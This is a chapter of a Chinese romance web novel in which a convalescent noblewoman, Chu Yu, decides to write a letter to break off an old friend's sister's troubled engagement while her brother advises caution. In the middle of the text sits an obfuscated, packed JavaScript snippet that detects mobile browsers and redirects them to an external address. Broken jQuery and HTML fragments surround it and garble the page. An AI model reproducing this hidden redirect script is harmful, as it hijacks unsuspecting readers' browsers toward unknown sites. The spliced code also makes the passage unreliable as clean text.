15. 局外人(12)

作品:《未遇知音人

    两日间,楚虞的身体渐渐转好,已经能下得了床。她倚靠在窗框边,透过明纸,似是在看窗外的雪景。


    雪依旧没有落下。


    已经连着三日没有下雪了,在这样深冬的季节里,极为少见。


    三日前,她在心里暗暗决定,只要接下来连着三日不曾下雪,那么这边塞,她便去定了。


    窗内窗外都渐渐黯淡下去,楚虞的心却一点一点雀跃起来。夕阳的金色光辉给屋子里一切蒙上一层金灿灿的雾纱。楚虞轻轻推开窗子,仍是一个无云的晴朗天。


    今日不会下雪了,楚虞这样想。


    弄萝走了进来,见窗子没有闭紧,连忙两步走过来,伸手将窗户关得严实,有些着急:“姑娘怎么开窗了,您身子还未大好,如何守得住这寒风。”


    楚虞浅笑安抚:“方才打开,屋里又是烧炭,又不透风,闷得很。”


    弄萝满脸的不赞同,反驳道:“通风是奴婢们的事,姑娘只需顾好自己的身子,何故拿这个做借口折腾自己的身子。”


    楚虞好性儿正要回嘴打趣,刚张开口还没出声,就听到门口先是“哐哐”两声响,听人道:“阿姐,我进来了?”


    楚虞有些讶异,本能回了一句“进来吧。”,又连忙压低了声音问一边儿的弄萝:“我这病没跟阿蔺说吧?”


    弄萝摇了摇头,听着人已经推门进屋,低下身子凑到楚虞耳边回道:“王爷早吩咐了,不许多嘴。”


    楚虞立马许以赞赏的眼神,


    楚蔺走到榻边,掬了一礼:“问阿姐安。”


    楚虞毕竟大病了一场,面色仍有些苍白,自知糊弄不过去,藏七分露三分道:“昨儿贪风,在院子里晒太阳受了风,夜里有些风寒。倒没什么大事。”


    弄萝搬了把椅子在榻边,楚蔺坐下后才抬头探看,见她神色憔悴,面露忧色:“瞧过大夫了吗?”


    楚虞哄道:“这是自然,王爷昨夜就急急叫人去宫里请了太医,也吃过药了,不必挂心。”


    楚蔺淡淡嗯了一声,楚虞心知这是糊弄过去了,挥了挥手,待弄萝退了出去,柔声问道:“不是前几日刚来看过我么,快要春闱了,怎么不抓紧温习功课?”


    因着楚家同王府相隔较远的缘故,楚蔺每次来王府都会住上几日,华安阁还特意为他辟了个常住的厢房。只是上次楚蔺回家时特意说过,春闱之前便不会常来了,让她不要担心。


    这才没过几日,人就又到了,楚虞心虚之余,也难免操心一下是否有什么事。


    “昨日秦三哥来找过我了。”楚蔺直奔主题,开口便让楚虞的心狠狠揪了一下。


    她已经很多很多年没有听到过这个名字了。


    楚蔺见她神思有些放空,面上显出几分犹豫来:“这事儿我昨晚想了许久,原是不想来的,可到底是秦三哥找阿姐你办事儿,我在中间瞒下终究没理,就来了。可听不听还是阿姐你做决定吧。”


    楚虞一听,立刻便明白,这事儿恐怕以她现在的地位,也是难办。


    她现在本就处于一个两面为难的关口,哪怕什么都不做也不会少了风波,最不该自找麻烦。可理智如此,心里偏偏生不出半分回拒的情感。


    楚虞半倚在靠枕上,放松了身子,问道:“小时候秦三哥帮了不少忙,我入宫前也曾托他照应你,这么多年他也是头一次张口,总得听听是什么事儿吧。”


    “是她同母妹妹的婚事,原是定好了的,可安尚书府突然来人上门提亲,说是要让义女去给她未婚夫做妾。”


    粗略一听,倒不像楚虞预设的那样麻烦,但能令得楚蔺犹豫,怕是还有什么关窍,她疑惑道:“秦三哥的妹妹定了哪家的亲事?”


    楚蔺答道:“不过一个白身,只是去年中了二榜第十名的进士。”


    楚虞心中的疑惑愈发深了,插道:“那安尚书将义女送去做小,岂不是委屈。”


    楚蔺一笑,解释道:“阿姐别急,昨夜我听了也同你一般不解。秦三哥却说安尚书那义女少时同妹妹的夫家有些渊源,后来入了宫,做了庆阳长公主的贴身侍女。”


    楚虞一震,有些不敢信地问道:“半……夏?”


    见楚蔺苦笑着点了点头,楚虞这才觉得头有些隐隐发疼,无奈叹道:“盛京怎么就这般小。”


    薛祺那个性子,能让半夏跟在身边这么多年,连打发出去嫁人都要请安尚书认作义女,估摸着连侧室的名分也是应其所求,必是极为看重的。


    楚虞心中已渐渐有了几分底,却仍旧不死心想寻一个别的答案:“所以,秦三哥想让我帮什么忙?”


    “秦三哥说,妹妹性子浮躁,半夏姑娘是长公主身边的人,又做了安尚书的义女,且不论妹妹能否容人,这样身份贵重之人居于其下,轻不得重不得,想让阿姐帮忙跟王爷说说,拒了这门亲事。”


    楚虞抚额:“这事儿归结难道不应该是他妹妹的夫家吗?王爷如何插得上手?”


    楚蔺眼见着楚虞情绪愈见起伏,却没有拒绝的意思,故而又道:“听秦三哥的话头,那未婚夫已绝食抗议,但未婚夫家对这门亲事却是求之不得。”


    楚虞顿觉荒唐:“这家人眼皮子倒浅,便是迫他儿子去了,也不怕一个没伺候好便得罪了这位祖宗。”


    摇了摇头,楚虞心里倒琢磨出了个别的门路:“我瞧这家也不是什么上选,就算半夏没进门,她夫家只怕还觉得是秦家妹妹挤掉了他们一个登天的机会,不若我替秦三哥解了这门亲吧。”


    楚蔺苦笑道:“阿姐同我也是一般的想法,我昨夜第一时间便同秦三哥提了此事。他只说实在拿妹妹没办法,才来寻阿姐你帮忙。阿姐若是出面,她夫家日后想来也不敢委屈了妹妹。”


    楚虞听了这话,不置可否,又转头隔窗看向屋外,呢喃了一句:“到底还是下雪了。”


    楚蔺有些茫然,也跟着看了看外面:“阿姐,外头没下雪啊。”


    楚虞轻笑一声,收回目光,看着眼前未及弱冠的弟弟,不知不觉间身量长成了不少。


    她的目光逐渐柔和起来,入宫之前的记忆也渐渐清晰。


    那年秦家哥哥从闹市里递来的糖人,田野间伸过来的手……还有他成婚时特意送来给自己和阿蔺的喜糖喜饼。


    “是吗?许是阿姐看错了吧。”不知为何,她的声音有些飘忽。


    边塞,是去不得了。自己要干涉此事,必然开罪薛祺。以庆阳那个睚眦必报的性子,若是不管不顾就这么远离盛京,莫说阿蔺还要参加春闱,便是老老实实过日子,她也不会轻放了的。


    她也没多久活头了,犯不着非拖着还有大好人生的阿蔺去边关吃沙子。


    楚虞抬手敲了敲窗子,示意人进来。等弄萝缀英二人进来了,问道:“长公主回来了吗?”


    两人相视一眼,齐齐摇头,缀英回道:“还没有,长公主前两日进宫后便一直没回来。”弄萝补充道:“但东西还一直放那没收走。”


    楚虞低垂着眉眼,缓缓转动着手上的青玉镯子。


    这事儿在薛祺那的路子必然是走不通的,这位公主最为护短,又专爱与人作对,别人越是难受,她便越是舒畅。且容不得别人半分忤逆。


    最好的法子,是将此事拜托给王爷,走皇上那条路。但……一是皇上未必愿意在这么件芝麻事儿上与庆阳长公主站对边,毕竟庆阳这说一不二的性子就是皇上宠出来的。若是让王爷帮忙,难免同时为难了皇上和王爷两个人。二是,她要为干预这桩婚事违了与薛平淮的约,多多少少有几分心虚,本能的想逃避。


    即使,她心中十分清楚,这事儿无论如何是绕不开王爷的。


    她心知自己如今思定,冲动占比极大,若是再等再想,冷静下来,难免又会陷入无止尽的纠结和摇摆之中,决定立马行动。


    “去帮我准备纸笔墨吧,我要写封信。”弄萝缀英听命去书房准备用具,楚蔺眼看着两人走出去了,问道:“阿姐这信要给谁写?”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15383480|168501||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “安尚书。”楚虞尽可能使自己听起来平静,所以说话轻而缓。


    楚蔺眉头紧紧一拧,显出了十分的不赞同:“阿姐,首先我并不赞同你插手这桩与你无干的麻烦事。其次,就算你想帮秦三哥,我也不建议你直接出面,还是先告诉姐夫。”


    楚虞眼皮也没抬:“别瞎叫人,哪门子姐夫,我还没出嫁呢,王府上下都叫我姑娘。”


    楚蔺眼神更为复杂了起来,吸了一口气,缓了缓心中的焦虑,才劝道:“我知道阿姐是不想王爷为了自己和皇上起争执,但王爷迟早会知道,到时候就成了你们之间的矛盾了。”


    楚虞抬眼定定看了他一眼:“我开罪长公主已然是避无可避,要是王爷为了我再和皇上有一点不快,皇上必会怪责于我。这些年皇上看在王爷的分上对我一贯容忍,说不定还能帮我顶长公主将来的压力。”


    楚蔺听了这话默默低了低头,掩去了满眼的不赞同。楚虞一看这动作便知并未说服他,却也不甚在意,并不多作解释。


    那话在喉咙里忍了又忍,终究还是没能吞下去,楚蔺再次抬头直视着楚虞:“阿姐,你为何总是在意别人多过于在意你和王爷。”


    其实楚蔺并不在意薛平淮是否被楚虞重视,他只是觉得,外人的一切矛盾和压力都会有敬王来担。可阿姐总是想化解一切的外部矛盾,却并不担心他二人之间产生矛盾。这样一来,敬王的不快都只会对着她,一次两次便罢了,若次次这般,日子长了,只会成一对怨偶。


    楚虞闻言眼光一闪,自知辩不出什么,难得却生了几分委屈,楚蔺又道:“阿姐,这些年我从未劝过你,但你如今处境尴尬,唯一的底气就是敬王殿下。若真有一日他弃了你,会很危险的。不如趁着现在你们感情正好,主动断了,他如今对你很是愧疚,没有留住你的立场,即使断了,也不会让太后和柳家的人对你不利。”


    弄萝缀英恰在他后半句话时准备好了东西进门,楚蔺却没有避着她们,仍是将话说全了。二人面面相觑,脚下似是生了根,走也不是,留也不是。


    楚虞反应却很是平静,只回了一句:“他不会。”就招手叫弄萝缀英过来,把笔墨纸砚铺开在小方桌上面。


    两人将一切备好,又加了几块碳,点了灯,逃也似地出去了。


    房间里一时静默,楚虞仍靠在枕头上,似是在构思这信该怎么写,又似是在思考楚蔺方才的话。


    楚虞终于撑着直起身子来,右手提笔于砚台之上轻点两下,刚将笔悬于纸上待要落下之时,却被楚蔺握住了手腕拦下。


    她侧首带着疑惑的目光看过去,同时也将笔靠在砚台之上,听他解释。


    “阿姐这封信写给安尚书有何用,他是庆阳长公主的人。”


    楚虞又怎会没想到这一点:“我这封信既是写给安尚书,也是写给半夏的。强扭的瓜不甜,劝她另觅良人。”


    另外也是将自己的意思传达安尚书和薛祺,就算没有用处,到底尽了心力,无法成事也问心无愧了,她本就没有那份本事去拦阻庆阳想办的事,哪怕是王爷,也不是想拦就能拦的。


    楚蔺摇摇头,耐心道:“阿姐这些年在宫里,都是和大人物们纠缠,视角有限。”


    楚虞不明白她的意思。


    “这亲事原就是双方你情我愿才能成就。秦家小姐的夫家不过是个寒门,他家郎君也已绝食抗议,阿姐只要写封信去说服他家里人,自然迎刃而解。”


    楚虞双眼一亮,心里顿时轻快了不少,连说话都洋溢着明媚:“对啊,阿弟可真聪明,寒门可比背后有长公主的安尚书好拿捏多了。到时候把这信送去她未来夫家,只要她夫家拒了这门亲,或许这事儿根本就过不到王爷面前。”


    楚蔺却并不乐观:“阿姐又想简单了,他夫家接了这信怕是两面为难,虽然轻易不肯应了这门亲,但免不得要把这信交给安尚书以做推脱缘由的。庆阳长公主早晚会知道,她又怎会不去闹一闹王爷。”